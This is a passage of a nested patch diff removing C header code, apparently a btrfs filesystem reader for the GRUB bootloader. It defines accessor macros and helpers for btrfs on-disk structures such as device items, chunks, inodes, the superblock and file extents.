-+                           offsetof(type, member),                     \
-+                          sizeof(((type *)0)->member)))
-+
-+#define BTRFS_SETGET_HEADER_FUNCS(name, type, member, bits)            \
-+static inline u##bits btrfs_##name(struct extent_buffer *eb)           \
-+{                                                                      \
-+       struct btrfs_header *h = (struct btrfs_header *)eb->data;       \
-+       return le##bits##_to_cpu(h->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(struct extent_buffer *eb,          \
-+                                   u##bits val)                        \
-+{                                                                      \
-+       struct btrfs_header *h = (struct btrfs_header *)eb->data;       \
-+       h->member = cpu_to_le##bits(val);                               \
-+}
-+
-+#define BTRFS_SETGET_FUNCS(name, type, member, bits)                   \
-+static inline u##bits btrfs_##name(struct extent_buffer *eb,           \
-+                                  type *s)                             \
-+{                                                                      \
-+       unsigned long offset = (unsigned long)s;                        \
-+       type *p = (type *) (eb->data + offset);                         \
-+       return le##bits##_to_cpu(p->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(struct extent_buffer *eb,          \
-+                                   type *s, u##bits val)               \
-+{                                                                      \
-+       unsigned long offset = (unsigned long)s;                        \
-+       type *p = (type *) (eb->data + offset);                         \
-+       p->member = cpu_to_le##bits(val);                               \
-+}
-+
-+#define BTRFS_SETGET_STACK_FUNCS(name, type, member, bits)             \
-+static inline u##bits btrfs_##name(type *s)                            \
-+{                                                                      \
-+       return le##bits##_to_cpu(s->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(type *s, u##bits val)              \
-+{                                                                      \
-+       s->member = cpu_to_le##bits(val);                               \
-+}
-+
-+BTRFS_SETGET_FUNCS(device_type, struct btrfs_dev_item, type, 64);
-+BTRFS_SETGET_FUNCS(device_total_bytes, struct btrfs_dev_item, total_bytes, 64);
-+BTRFS_SETGET_FUNCS(device_bytes_used, struct btrfs_dev_item, bytes_used, 64);
-+BTRFS_SETGET_FUNCS(device_io_align, struct btrfs_dev_item, io_align, 32);
-+BTRFS_SETGET_FUNCS(device_io_width, struct btrfs_dev_item, io_width, 32);
-+BTRFS_SETGET_FUNCS(device_start_offset, struct btrfs_dev_item,
-+                  start_offset, 64);
-+BTRFS_SETGET_FUNCS(device_sector_size, struct btrfs_dev_item, sector_size, 32);
-+BTRFS_SETGET_FUNCS(device_id, struct btrfs_dev_item, devid, 64);
-+BTRFS_SETGET_FUNCS(device_group, struct btrfs_dev_item, dev_group, 32);
-+BTRFS_SETGET_FUNCS(device_seek_speed, struct btrfs_dev_item, seek_speed, 8);
-+BTRFS_SETGET_FUNCS(device_bandwidth, struct btrfs_dev_item, bandwidth, 8);
-+BTRFS_SETGET_FUNCS(device_generation, struct btrfs_dev_item, generation, 64);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_device_type, struct btrfs_dev_item, type, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_total_bytes, struct btrfs_dev_item,
-+                        total_bytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_bytes_used, struct btrfs_dev_item,
-+                        bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_io_align, struct btrfs_dev_item,
-+                        io_align, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_io_width, struct btrfs_dev_item,
-+                        io_width, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_sector_size, struct btrfs_dev_item,
-+                        sector_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_id, struct btrfs_dev_item, devid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_group, struct btrfs_dev_item,
-+                        dev_group, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_seek_speed, struct btrfs_dev_item,
-+                        seek_speed, 8);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_bandwidth, struct btrfs_dev_item,
-+                        bandwidth, 8);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_generation, struct btrfs_dev_item,
-+                        generation, 64);
-+
-+static inline char *btrfs_device_uuid(struct btrfs_dev_item *d)
-+{
-+       return (char *)d + offsetof(struct btrfs_dev_item, uuid);
-+}
-+
-+static inline char *btrfs_device_fsid(struct btrfs_dev_item *d)
-+{
-+       return (char *)d + offsetof(struct btrfs_dev_item, fsid);
-+}
-+
-+BTRFS_SETGET_FUNCS(chunk_length, struct btrfs_chunk, length, 64);
-+BTRFS_SETGET_FUNCS(chunk_owner, struct btrfs_chunk, owner, 64);
-+BTRFS_SETGET_FUNCS(chunk_stripe_len, struct btrfs_chunk, stripe_len, 64);
-+BTRFS_SETGET_FUNCS(chunk_io_align, struct btrfs_chunk, io_align, 32);
-+BTRFS_SETGET_FUNCS(chunk_io_width, struct btrfs_chunk, io_width, 32);
-+BTRFS_SETGET_FUNCS(chunk_sector_size, struct btrfs_chunk, sector_size, 32);
-+BTRFS_SETGET_FUNCS(chunk_type, struct btrfs_chunk, type, 64);
-+BTRFS_SETGET_FUNCS(chunk_num_stripes, struct btrfs_chunk, num_stripes, 16);
-+BTRFS_SETGET_FUNCS(chunk_sub_stripes, struct btrfs_chunk, sub_stripes, 16);
-+BTRFS_SETGET_FUNCS(stripe_devid, struct btrfs_stripe, devid, 64);
-+BTRFS_SETGET_FUNCS(stripe_offset, struct btrfs_stripe, offset, 64);
-+
-+static inline char *btrfs_stripe_dev_uuid(struct btrfs_stripe *s)
-+{
-+       return (char *)s + offsetof(struct btrfs_stripe, dev_uuid);
-+}
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_length, struct btrfs_chunk, length, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_owner, struct btrfs_chunk, owner, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_stripe_len, struct btrfs_chunk,
-+                        stripe_len, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_io_align, struct btrfs_chunk,
-+                        io_align, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_io_width, struct btrfs_chunk,
-+                        io_width, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_sector_size, struct btrfs_chunk,
-+                        sector_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_type, struct btrfs_chunk, type, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_num_stripes, struct btrfs_chunk,
-+                        num_stripes, 16);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_sub_stripes, struct btrfs_chunk,
-+                        sub_stripes, 16);
-+BTRFS_SETGET_STACK_FUNCS(stack_stripe_devid, struct btrfs_stripe, devid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_stripe_offset, struct btrfs_stripe, offset, 64);
-+
-+static inline struct btrfs_stripe *btrfs_stripe_nr(struct btrfs_chunk *c,
-+                                                  int nr)
-+{
-+       unsigned long offset = (unsigned long)c;
-+       offset += offsetof(struct btrfs_chunk, stripe);
-+       offset += nr * sizeof(struct btrfs_stripe);
-+       return (struct btrfs_stripe *)offset;
-+}
-+
-+static inline char *btrfs_stripe_dev_uuid_nr(struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_dev_uuid(btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline u64 btrfs_stripe_offset_nr(struct extent_buffer *eb,
-+                                        struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_offset(eb, btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline void btrfs_set_stripe_offset_nr(struct extent_buffer *eb,
-+                                            struct btrfs_chunk *c, int nr,
-+                                            u64 val)
-+{
-+       btrfs_set_stripe_offset(eb, btrfs_stripe_nr(c, nr), val);
-+}
-+
-+static inline u64 btrfs_stripe_devid_nr(struct extent_buffer *eb,
-+                                        struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_devid(eb, btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline void btrfs_set_stripe_devid_nr(struct extent_buffer *eb,
-+                                            struct btrfs_chunk *c, int nr,
-+                                            u64 val)
-+{
-+       btrfs_set_stripe_devid(eb, btrfs_stripe_nr(c, nr), val);
-+}
-+
-+/* struct btrfs_block_group_item */
-+BTRFS_SETGET_STACK_FUNCS(block_group_used, struct btrfs_block_group_item,
-+                        used, 64);
-+BTRFS_SETGET_FUNCS(disk_block_group_used, struct btrfs_block_group_item,
-+                        used, 64);
-+BTRFS_SETGET_STACK_FUNCS(block_group_chunk_objectid,
-+                       struct btrfs_block_group_item, chunk_objectid, 64);
-+
-+BTRFS_SETGET_FUNCS(disk_block_group_chunk_objectid,
-+                  struct btrfs_block_group_item, chunk_objectid, 64);
-+BTRFS_SETGET_FUNCS(disk_block_group_flags,
-+                  struct btrfs_block_group_item, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(block_group_flags,
-+                       struct btrfs_block_group_item, flags, 64);
-+
-+/* struct btrfs_inode_ref */
-+BTRFS_SETGET_FUNCS(inode_ref_name_len, struct btrfs_inode_ref, name_len, 16);
-+BTRFS_SETGET_FUNCS(inode_ref_index, struct btrfs_inode_ref, index, 64);
-+
-+/* struct btrfs_inode_item */
-+BTRFS_SETGET_FUNCS(inode_generation, struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_FUNCS(inode_sequence, struct btrfs_inode_item, sequence, 64);
-+BTRFS_SETGET_FUNCS(inode_transid, struct btrfs_inode_item, transid, 64);
-+BTRFS_SETGET_FUNCS(inode_size, struct btrfs_inode_item, size, 64);
-+BTRFS_SETGET_FUNCS(inode_nbytes, struct btrfs_inode_item, nbytes, 64);
-+BTRFS_SETGET_FUNCS(inode_block_group, struct btrfs_inode_item, block_group, 64);
-+BTRFS_SETGET_FUNCS(inode_nlink, struct btrfs_inode_item, nlink, 32);
-+BTRFS_SETGET_FUNCS(inode_uid, struct btrfs_inode_item, uid, 32);
-+BTRFS_SETGET_FUNCS(inode_gid, struct btrfs_inode_item, gid, 32);
-+BTRFS_SETGET_FUNCS(inode_mode, struct btrfs_inode_item, mode, 32);
-+BTRFS_SETGET_FUNCS(inode_rdev, struct btrfs_inode_item, rdev, 64);
-+BTRFS_SETGET_FUNCS(inode_flags, struct btrfs_inode_item, flags, 64);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_generation,
-+                        struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_sequence,
-+                        struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_size,
-+                        struct btrfs_inode_item, size, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_nbytes,
-+                        struct btrfs_inode_item, nbytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_block_group,
-+                        struct btrfs_inode_item, block_group, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_nlink,
-+                        struct btrfs_inode_item, nlink, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_uid,
-+                        struct btrfs_inode_item, uid, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_gid,
-+                        struct btrfs_inode_item, gid, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_mode,
-+                        struct btrfs_inode_item, mode, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_rdev,
-+                        struct btrfs_inode_item, rdev, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_flags,
-+                        struct btrfs_inode_item, flags, 64);
-+
-+BTRFS_SETGET_FUNCS(timespec_sec, struct btrfs_timespec, sec, 64);
-+BTRFS_SETGET_FUNCS(timespec_nsec, struct btrfs_timespec, nsec, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_timespec_sec, struct btrfs_timespec,
-+                        sec, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_timespec_nsec, struct btrfs_timespec,
-+                        nsec, 32);
-+
-+/* struct btrfs_dev_extent */
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_tree, struct btrfs_dev_extent,
-+                  chunk_tree, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_objectid, struct btrfs_dev_extent,
-+                  chunk_objectid, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_offset, struct btrfs_dev_extent,
-+                  chunk_offset, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_length, struct btrfs_dev_extent, length, 64);
-+
-+static inline u8 *btrfs_dev_extent_chunk_tree_uuid(struct btrfs_dev_extent *dev)
-+{
-+       unsigned long ptr = offsetof(struct btrfs_dev_extent, chunk_tree_uuid);
-+       return (u8 *)((unsigned long)dev + ptr);
-+}
-+
-+/* struct btrfs_extent_ref */
-+BTRFS_SETGET_FUNCS(ref_root, struct btrfs_extent_ref, root, 64);
-+BTRFS_SETGET_FUNCS(ref_generation, struct btrfs_extent_ref, generation, 64);
-+BTRFS_SETGET_FUNCS(ref_objectid, struct btrfs_extent_ref, objectid, 64);
-+BTRFS_SETGET_FUNCS(ref_num_refs, struct btrfs_extent_ref, num_refs, 32);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_root, struct btrfs_extent_ref, root, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_generation, struct btrfs_extent_ref,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_objectid, struct btrfs_extent_ref,
-+                        objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_num_refs, struct btrfs_extent_ref,
-+                        num_refs, 32);
-+
-+/* struct btrfs_extent_item */
-+BTRFS_SETGET_FUNCS(extent_refs, struct btrfs_extent_item, refs, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_extent_refs, struct btrfs_extent_item,
-+                        refs, 32);
-+
-+/* struct btrfs_node */
-+BTRFS_SETGET_FUNCS(key_blockptr, struct btrfs_key_ptr, blockptr, 64);
-+BTRFS_SETGET_FUNCS(key_generation, struct btrfs_key_ptr, generation, 64);
-+
-+static inline u64 btrfs_node_blockptr(struct extent_buffer *eb, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       return btrfs_key_blockptr(eb, (struct btrfs_key_ptr *)ptr);
-+}
-+
-+static inline void btrfs_set_node_blockptr(struct extent_buffer *eb,
-+                                          int nr, u64 val)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       btrfs_set_key_blockptr(eb, (struct btrfs_key_ptr *)ptr, val);
-+}
-+
-+static inline u64 btrfs_node_ptr_generation(struct extent_buffer *eb, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       return btrfs_key_generation(eb, (struct btrfs_key_ptr *)ptr);
-+}
-+
-+static inline void btrfs_set_node_ptr_generation(struct extent_buffer *eb,
-+                                                int nr, u64 val)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+       btrfs_set_key_generation(eb, (struct btrfs_key_ptr *)ptr, val);
-+}
-+
-+static inline unsigned long btrfs_node_key_ptr_offset(int nr)
-+{
-+       return offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
-+}
-+
-+static inline void btrfs_node_key(struct extent_buffer *eb,
-+                                 struct btrfs_disk_key *disk_key, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = btrfs_node_key_ptr_offset(nr);
-+       read_eb_member(eb, (struct btrfs_key_ptr *)ptr,
-+                      struct btrfs_key_ptr, key, disk_key);
-+}
-+
-+/* struct btrfs_item */
-+BTRFS_SETGET_FUNCS(item_offset, struct btrfs_item, offset, 32);
-+BTRFS_SETGET_FUNCS(item_size, struct btrfs_item, size, 32);
-+
-+static inline unsigned long btrfs_item_nr_offset(int nr)
-+{
-+       return offsetof(struct btrfs_leaf, items) +
-+               sizeof(struct btrfs_item) * nr;
-+}
-+
-+static inline struct btrfs_item *btrfs_item_nr(struct extent_buffer *eb,
-+                                              int nr)
-+{
-+       return (struct btrfs_item *)btrfs_item_nr_offset(nr);
-+}
-+
-+static inline u32 btrfs_item_end(struct extent_buffer *eb,
-+                                struct btrfs_item *item)
-+{
-+       return btrfs_item_offset(eb, item) + btrfs_item_size(eb, item);
-+}
-+
-+static inline u32 btrfs_item_end_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_end(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline u32 btrfs_item_offset_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_offset(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline u32 btrfs_item_size_nr(struct extent_buffer *eb, int nr)
-+{
-+       return btrfs_item_size(eb, btrfs_item_nr(eb, nr));
-+}
-+
-+static inline void btrfs_item_key(struct extent_buffer *eb,
-+                          struct btrfs_disk_key *disk_key, int nr)
-+{
-+       struct btrfs_item *item = btrfs_item_nr(eb, nr);
-+       read_eb_member(eb, item, struct btrfs_item, key, disk_key);
-+}
-+
-+/*
-+ * struct btrfs_root_ref
-+ */
-+BTRFS_SETGET_FUNCS(root_ref_dirid, struct btrfs_root_ref, dirid, 64);
-+BTRFS_SETGET_FUNCS(root_ref_sequence, struct btrfs_root_ref, sequence, 64);
-+BTRFS_SETGET_FUNCS(root_ref_name_len, struct btrfs_root_ref, name_len, 16);
-+
-+/* struct btrfs_dir_item */
-+BTRFS_SETGET_FUNCS(dir_data_len, struct btrfs_dir_item, data_len, 16);
-+BTRFS_SETGET_FUNCS(dir_type, struct btrfs_dir_item, type, 8);
-+BTRFS_SETGET_FUNCS(dir_name_len, struct btrfs_dir_item, name_len, 16);
-+BTRFS_SETGET_FUNCS(dir_transid, struct btrfs_dir_item, transid, 64);
-+
-+static inline void btrfs_dir_item_key(struct extent_buffer *eb,
-+                                     struct btrfs_dir_item *item,
-+                                     struct btrfs_disk_key *key)
-+{
-+       read_eb_member(eb, item, struct btrfs_dir_item, location, key);
-+}
-+
-+/* struct btrfs_disk_key */
-+BTRFS_SETGET_STACK_FUNCS(disk_key_objectid, struct btrfs_disk_key,
-+                        objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(disk_key_offset, struct btrfs_disk_key, offset, 64);
-+BTRFS_SETGET_STACK_FUNCS(disk_key_type, struct btrfs_disk_key, type, 8);
-+
-+static inline void btrfs_disk_key_to_cpu(struct btrfs_key *cpu,
-+                                        struct btrfs_disk_key *disk)
-+{
-+       cpu->offset = le64_to_cpu(disk->offset);
-+       cpu->type = disk->type;
-+       cpu->objectid = le64_to_cpu(disk->objectid);
-+}
-+
-+static inline void btrfs_cpu_key_to_disk(struct btrfs_disk_key *disk,
-+                                        struct btrfs_key *cpu)
-+{
-+       disk->offset = cpu_to_le64(cpu->offset);
-+       disk->type = cpu->type;
-+       disk->objectid = cpu_to_le64(cpu->objectid);
-+}
-+
-+static inline void btrfs_node_key_to_cpu(struct extent_buffer *eb,
-+                                 struct btrfs_key *key, int nr)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_node_key(eb, &disk_key, nr);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline void btrfs_item_key_to_cpu(struct extent_buffer *eb,
-+                                 struct btrfs_key *key, int nr)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_item_key(eb, &disk_key, nr);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline void btrfs_dir_item_key_to_cpu(struct extent_buffer *eb,
-+                                     struct btrfs_dir_item *item,
-+                                     struct btrfs_key *key)
-+{
-+       struct btrfs_disk_key disk_key;
-+       btrfs_dir_item_key(eb, item, &disk_key);
-+       btrfs_disk_key_to_cpu(key, &disk_key);
-+}
-+
-+static inline u8 btrfs_key_type(struct btrfs_key *key)
-+{
-+       return key->type;
-+}
-+
-+static inline void btrfs_set_key_type(struct btrfs_key *key, u8 val)
-+{
-+       key->type = val;
-+}
-+
-+static inline u64 btrfs_super_devid(struct btrfs_super_block *disk_super)
-+{
-+	return le64_to_cpu(disk_super->dev_item.devid);
-+}
-+
-+/* struct btrfs_header */
-+BTRFS_SETGET_HEADER_FUNCS(header_bytenr, struct btrfs_header, bytenr, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_generation, struct btrfs_header,
-+                         generation, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_owner, struct btrfs_header, owner, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_nritems, struct btrfs_header, nritems, 32);
-+BTRFS_SETGET_HEADER_FUNCS(header_flags, struct btrfs_header, flags, 64);
-+BTRFS_SETGET_HEADER_FUNCS(header_level, struct btrfs_header, level, 8);
-+
-+/* struct btrfs_root_item */
-+BTRFS_SETGET_FUNCS(disk_root_generation, struct btrfs_root_item,
-+                  generation, 64);
-+BTRFS_SETGET_FUNCS(disk_root_refs, struct btrfs_root_item, refs, 32);
-+BTRFS_SETGET_FUNCS(disk_root_bytenr, struct btrfs_root_item, bytenr, 64);
-+BTRFS_SETGET_FUNCS(disk_root_level, struct btrfs_root_item, level, 8);
-+
-+BTRFS_SETGET_STACK_FUNCS(root_generation, struct btrfs_root_item,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_bytenr, struct btrfs_root_item, bytenr, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_level, struct btrfs_root_item, level, 8);
-+BTRFS_SETGET_STACK_FUNCS(root_dirid, struct btrfs_root_item, root_dirid, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_refs, struct btrfs_root_item, refs, 32);
-+BTRFS_SETGET_STACK_FUNCS(root_flags, struct btrfs_root_item, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_used, struct btrfs_root_item, bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_limit, struct btrfs_root_item, byte_limit, 64);
-+BTRFS_SETGET_STACK_FUNCS(root_last_snapshot, struct btrfs_root_item,
-+                        last_snapshot, 64);
-+
-+/* struct btrfs_super_block */
-+
-+BTRFS_SETGET_STACK_FUNCS(super_bytenr, struct btrfs_super_block, bytenr, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_flags, struct btrfs_super_block, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_generation, struct btrfs_super_block,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_root, struct btrfs_super_block, root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_sys_array_size,
-+                        struct btrfs_super_block, sys_chunk_array_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root_generation,
-+                        struct btrfs_super_block, chunk_root_generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_root_level, struct btrfs_super_block,
-+                        root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root, struct btrfs_super_block,
-+                        chunk_root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_chunk_root_level, struct btrfs_super_block,
-+                        chunk_root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root, struct btrfs_super_block,
-+                        log_root, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root_transid, struct btrfs_super_block,
-+                        log_root_transid, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_log_root_level, struct btrfs_super_block,
-+                        log_root_level, 8);
-+BTRFS_SETGET_STACK_FUNCS(super_total_bytes, struct btrfs_super_block,
-+                        total_bytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_bytes_used, struct btrfs_super_block,
-+                        bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_sectorsize, struct btrfs_super_block,
-+                        sectorsize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_nodesize, struct btrfs_super_block,
-+                        nodesize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_leafsize, struct btrfs_super_block,
-+                        leafsize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_stripesize, struct btrfs_super_block,
-+                        stripesize, 32);
-+BTRFS_SETGET_STACK_FUNCS(super_root_dir, struct btrfs_super_block,
-+                        root_dir_objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_num_devices, struct btrfs_super_block,
-+                        num_devices, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_compat_flags, struct btrfs_super_block,
-+                        compat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_compat_ro_flags, struct btrfs_super_block,
-+                        compat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_incompat_flags, struct btrfs_super_block,
-+                        incompat_flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(super_csum_type, struct btrfs_super_block,
-+                        csum_type, 16);
-+
-+static inline int btrfs_super_csum_size(struct btrfs_super_block *s)
-+{
-+       int t = btrfs_super_csum_type(s);
-+       //BUG_ON(t >= ARRAY_SIZE(btrfs_csum_sizes));
-+       return btrfs_csum_sizes[t];
-+}
-+
-+static inline unsigned long btrfs_leaf_data(struct extent_buffer *l)
-+{
-+       return offsetof(struct btrfs_leaf, items);
-+}
-+
-+/* struct btrfs_file_extent_item */
-+BTRFS_SETGET_FUNCS(file_extent_type, struct btrfs_file_extent_item, type, 8);
-+
-+static inline unsigned long btrfs_file_extent_inline_start(struct
-+                                                  btrfs_file_extent_item *e)
-+{
-+       unsigned long offset = (unsigned long)e;
-+       offset += offsetof(struct btrfs_file_extent_item, disk_bytenr);
-+       return offset;
-+}
-+
-+static inline u32 btrfs_file_extent_calc_inline_size(u32 datasize)
-+{
-+       return offsetof(struct btrfs_file_extent_item, disk_bytenr) + datasize;
-+}
-+
-+BTRFS_SETGET_FUNCS(file_extent_disk_bytenr, struct btrfs_file_extent_item,
-+                  disk_bytenr, 64);
-+BTRFS_SETGET_FUNCS(file_extent_generation, struct btrfs_file_extent_item,
-+                  generation, 64);
-+BTRFS_SETGET_FUNCS(file_extent_disk_num_bytes, struct btrfs_file_extent_item,
-+                  disk_num_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_offset, struct btrfs_file_extent_item,
-+                 offset, 64);
-+BTRFS_SETGET_FUNCS(file_extent_num_bytes, struct btrfs_file_extent_item,
-+                  num_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_ram_bytes, struct btrfs_file_extent_item,
-+                  ram_bytes, 64);
-+BTRFS_SETGET_FUNCS(file_extent_compression, struct btrfs_file_extent_item,
-+                  compression, 8);
-+BTRFS_SETGET_FUNCS(file_extent_encryption, struct btrfs_file_extent_item,
-+                  encryption, 8);
-+BTRFS_SETGET_FUNCS(file_extent_other_encoding, struct btrfs_file_extent_item,
-+                  other_encoding, 16);
-+
-+/* this returns the number of file bytes represented by the inline item.
-+ * If an item is compressed, this is the uncompressed size
-+ */
-+static inline u32 btrfs_file_extent_inline_len(struct extent_buffer *eb,
-+                                       struct btrfs_file_extent_item *e)
-+{
-+       return btrfs_file_extent_ram_bytes(eb, e);
-+}
-+
-+/*
-+ * this returns the number of bytes used by the item on disk, minus the
-+ * size of any extent headers.  If a file is compressed on disk, this is
-+ * the compressed size
-+ */
-+static inline u32 btrfs_file_extent_inline_item_len(struct extent_buffer *eb,
-+                                                   struct btrfs_item *e)
-+{
-+       unsigned long offset;
-+       offset = offsetof(struct btrfs_file_extent_item, disk_bytenr);
-+       return btrfs_item_size(eb, e) - offset;
-+}
-+
-+static inline u32 btrfs_level_size(struct btrfs_root *root, int level) {
-+       if (level == 0)
-+               return root->leafsize;
-+       return root->nodesize;
-+}
-+
-+static inline u32 btrfs_root_level_size(struct btrfs_super_block *sb) {
-+       return btrfs_super_root_level(sb) == 0 ?
-+               btrfs_super_leafsize(sb) :
-+               btrfs_super_nodesize(sb);
-+}
-+
-+static inline u32 btrfs_chunk_root_level_size(struct btrfs_super_block *sb) {
-+       return btrfs_super_chunk_root_level(sb) == 0 ?
-+               btrfs_super_leafsize(sb) :
-+               btrfs_super_nodesize(sb);
-+}
-+
-+/* helper function to cast into the data area of the leaf. */
-+#define btrfs_item_ptr(leaf, slot, type) \
-+       ((type *)(btrfs_leaf_data(leaf) + \
-+       btrfs_item_offset_nr(leaf, slot)))
-+
-+#define btrfs_item_ptr_offset(leaf, slot) \
-+       ((unsigned long)(btrfs_leaf_data(leaf) + \
-+       btrfs_item_offset_nr(leaf, slot)))
-+
-+/*volumes.h */
-+
-+struct btrfs_fs_devices {
-+       u8 fsid[BTRFS_FSID_SIZE]; /* FS specific uuid */
-+
-+       /* the device with this id has the most recent coyp of the super */
-+       u64 latest_devid;
-+       u64 latest_trans;
-+       u64 lowest_devid;
-+       int latest_bdev;
-+       int lowest_bdev;
-+       int seeding;
-+       struct btrfs_fs_devices *seed;
-+};
-+
-+struct btrfs_bio_stripe {
-+	struct btrfs_device dev;
-+	u64 physical;
-+};
-+
-+#define MAX_NRSTRIPES 8
-+struct btrfs_multi_bio {
-+       int error;
-+       int num_stripes;
-+       struct btrfs_bio_stripe stripes[MAX_NRSTRIPES];
-+};
-+
-+#define btrfs_multi_bio_size(n) (sizeof(struct btrfs_multi_bio) + \
-+                           (sizeof(struct btrfs_bio_stripe) * (n)))
-+
-+static int aux_tree_lookup(struct btrfs_root *root,
-+                          struct btrfs_key *key,
-+                          struct btrfs_path *path);
-+
-+struct cache_extent {
-+       u64 start;
-+       u64 size;
-+};
-+
-+struct map_lookup {
-+       struct cache_extent ce;
-+       u64 type;
-+       int io_align;
-+       int io_width;
-+       int stripe_len;
-+       int sector_size;
-+       int num_stripes;
-+       int sub_stripes;
-+        struct btrfs_bio_stripe stripes[MAX_NRSTRIPES];
-+};
-+
-+/* "VFS" things */
-+
-+/* file types recognized by grub */
-+typedef enum {
-+       BTRFS_REGULAR_FILE,
